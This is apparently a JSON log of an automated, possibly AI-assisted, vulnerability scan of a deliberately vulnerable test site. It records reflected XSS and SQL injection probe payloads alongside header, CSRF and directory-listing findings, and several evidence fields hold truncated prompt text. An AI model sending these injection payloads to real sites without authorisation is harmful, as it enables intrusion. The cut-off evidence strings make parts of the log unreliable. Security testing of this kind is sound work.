{
  "traces": [
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 70"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 0.7,
      "timestamp": 1771267727.985216,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 70"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 0.7,
      "timestamp": 1771267760.466933,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 70"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 0.7,
      "timestamp": 1771267872.116527,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 70"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 0.7,
      "timestamp": 1771267908.478823,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771267941.969013,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set | [AI Validation] Missing headers alone do not prove exploitability. No demonstration of actual clickjacking attack or sensitive actions that could be hijacked. G",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set | [AI Validation] Missing headers alone do not prove exploitability. No demonstration of actual clickjacking attack or sensitive actions that could be hijacked. Generic header absence is configuration issue, not active vulnerability.",
      "confidence": 0.0,
      "timestamp": 1771267990.920044,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set | [AI Validation] Missing X-Content-Type-Options header alone provides no direct attack vector. Requires combination with file upload or user-controlled content serving",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set | [AI Validation] Missing X-Content-Type-Options header alone provides no direct attack vector. Requires combination with file upload or user-controlled content serving to enable MIME confusion attacks.",
      "confidence": 0.0,
      "timestamp": 1771268000.185508,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set | [AI Validation] Missing CSP header alone provides no direct attack vector. CSP is a defense-in-depth mechanism that only matters if XSS vulnerabilities exist. Withou",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set | [AI Validation] Missing CSP header alone provides no direct attack vector. CSP is a defense-in-depth mechanism that only matters if XSS vulnerabilities exist. Without demonstrating actual XSS execution that CSP would have prevented, this is purely informational.",
      "confidence": 0.0,
      "timestamp": 1771268007.9777868,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0 | [AI Validation] Server version disclosure (nginx/1.19.0) provides reconnaissance value but no direct exploitation path. Information useful for targeted attacks against known vul",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0 | [AI Validation] Server version disclosure (nginx/1.19.0) provides reconnaissance value but no direct exploitation path. Information useful for targeted attacks against known vulnerabilities in this specific version.",
      "confidence": 0.0,
      "timestamp": 1771268019.042546,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1 | [AI Validation] X-Powered-By header disclosure is informational only - reveals PHP version but provides no direct attack vector or exploitabl",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1 | [AI Validation] X-Powered-By header disclosure is informational only - reveals PHP version but provides no direct attack vector or exploitable functionality",
      "confidence": 0.0,
      "timestamp": 1771268027.364885,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771268779.345071,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771268790.2404952,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771268820.103971,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771268896.301265,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771268898.947742,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771268907.8954282,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771268911.6541,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771268914.185718,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771268916.6518369,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/product.php?pic=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['price', 'addcart']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['price', 'addcart']",
      "confidence": 0.0,
      "timestamp": 1771268919.153503,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "cf77cfdcfa"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771268921.721257,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771268924.824417,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771269701.021006,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771269744.886354,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771269772.4323578,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771269790.768929,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771269811.5567958,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771269837.966929,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771269840.078112,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771269842.482361,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771269849.233752,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771269851.289672,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771269855.88931,
